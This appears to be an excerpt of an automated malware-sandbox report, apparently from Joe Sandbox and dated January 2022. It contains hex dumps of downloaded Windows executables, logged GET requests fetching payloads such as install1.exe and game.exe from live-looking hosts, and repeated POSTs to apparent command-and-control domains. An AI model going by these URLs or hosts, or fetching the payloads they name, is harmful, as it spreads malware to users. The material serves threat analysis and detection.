2e 72 64 61 74 61 00 00 d4 f9 01 00 00 20 01 00 00 fa 01 00 00 0e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 bb 73 02 00 20 03 00 00 86 00 00 00 08 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 f7 00 00 00 e0 76 02 00 f8 00 00 00 8e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:48 GMTContent-Type: application/x-msdos-programContent-Length: 1670200Connection: closeLast-Modified: Sun, 09 Jan 2022 12:04:31 GMTETag: "197c38-5d52505cea333"Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 13 aa cc 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 2e 01 00 00 84 0a 00 00 00 00 00 00 50 3a 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 3b 00 00 04 00 00 66 1c 1a 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 31 00 60 01 00 00 00 50 31 00 78 f8 08 00 00 00 00 00 00 00 00 00 70 63 19 00 c8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 41 54 41 00 00 00 00 00 30 31 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 63 74 6f 72 73 00 00 00 10 00 00 00 40 31 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 f8 08 00 00 50 31 00 0c ed 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 65 78 74 00 00 00 00 a0 01 00 00 50 3a 00 0d 9e 01 00 00 f4 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:48:58 GMTContent-Type: application/x-msdos-programContent-Length: 590848Connection: closeLast-Modified: Sun, 09 Jan 2022 14:15:02 GMTETag: "90400-5d526d88d6301"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5e 60 89 17 1a 01 e7 44 1a 01 e7 44 1a 01 e7 44 04 53 63 44 33 01 e7 44 04 53 72 44 07 01 e7 44 04 53 64 44 66 01 e7 44 3d c7 9c 44 1f 01 e7 44 1a 01 e6 44 92 01 e7 44 04 53 6d 44 1b 01 e7 44 04 53 73 44 1b 01 e7 44 04 53 76 44 1b 01 e7 44 52 69 63 68 1a 01 e7 44 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 6c 5f 9e 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ec 00 00 00 d4 7b 02 00 00 00 00 9f 1c 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 ab a3 09 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 84 07 00 3c 00 00 00 00 50 7b 02 f8 fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 7c 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 09 ea 00 00 00 10 00 00 00 ec 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 8d 06 00 00 00 01 00 00 8e 06 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 ba 73 02 00 90 07 00 00 86 00 00 00 7e 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 fe 00 00 00 50 7b 02 00 00 01 00 00 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /32739433.dat?iddqd=1 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.233.81.115
Source: global traffic HTTP traffic detected: GET /attachments/928021103304134716/928938539171864596/Dulling.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic HTTP traffic detected: GET /3eHgQQR HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: bit.ly
Source: global traffic HTTP traffic detected: GET /a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: bitly.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fxrkgvik.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://gajno.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 124Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bmfgfkjf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 365Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://veuiviue.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dmryaqnk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 171Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mckoice.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://vvsuujdwht.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xmpxn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 137Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: GET /files/2184_1641247228_8717.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xjbxvifs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 220Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://pynrhmvhj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 117Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://qlrgaved.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 157Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xhqofq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xjnbybe.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://qbhyoygecf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 341Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://deiypnos.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 151Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ccuaitw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 117Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fxnaip.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ghsrebmie.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 226Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://gbertcn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 302Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://wtksenbbjr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://kyvfadndk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://qsvaicgadh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 326Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ykuckxuei.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 315Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://wider.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 258Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dajmdg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://homleb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 194Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://riqrjly.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 202Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://irljurmqm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 352Host: amogohuigotuli.at
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://pyemedcg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 318Host: amogohuigotuli.at
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bifhr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: amogohuigotuli.at
Source: global traffic HTTP traffic detected: GET /install1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unic11m.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ejorc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 173Host: amogohuigotuli.at
Source: global traffic HTTP traffic detected: GET /install1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://kbxyk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 278Host: amogohuigotuli.at
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mrwsqu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jxnnlwoum.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 167Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://cxbcmk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 337Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://unhjp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 243Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: GET /downloads/toolspab1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytools-foryou-777.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://gckkxgv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: amogohuigotuli.at
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ynbdlhhsfj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 263Host: amogohuigotuli.at
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://tlclh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 177Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xpnufbkn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 348Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: GET /files/2150_1641729871_1812.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://psidp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 342Host: amogohuigotuli.at
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bveasvok.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: amogohuigotuli.at
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://qtcvnmqmix.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xvbahlaice.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 117Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fpwhnxup.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 337Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://iqyfefv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: amogohuigotuli.at
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bycco.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://weihpu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 171Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://amogohuigotuli.at/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 423Host: amogohuigotuli.at
Source: global traffic HTTP traffic detected: GET /files/9993_1641737702_2517.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://iffgi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 120Host: host-data-coin-11.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://gcjoh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 288Host: host-data-coin-11.com
Connects to a URL shortener service
Source: C:\Windows\explorer.exe DNS query: name: bit.ly
Source: C:\Windows\explorer.exe DNS query: name: bitly.com
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 188.166.28.199 188.166.28.199
Source: Joe Sandbox View IP Address: 148.0.74.229 148.0.74.229
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.3:49807 -> 185.7.214.171:8080
Source: svchost.exe, 00000014.00000002.405174140.00000246D08ED000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: B729.exe.13.dr String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: svchost.exe, 00000014.00000002.405174140.00000246D08ED000.00000004.00000001.sdmp String found in binary or memory: http://crl.ver)
Source: B729.exe.13.dr String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
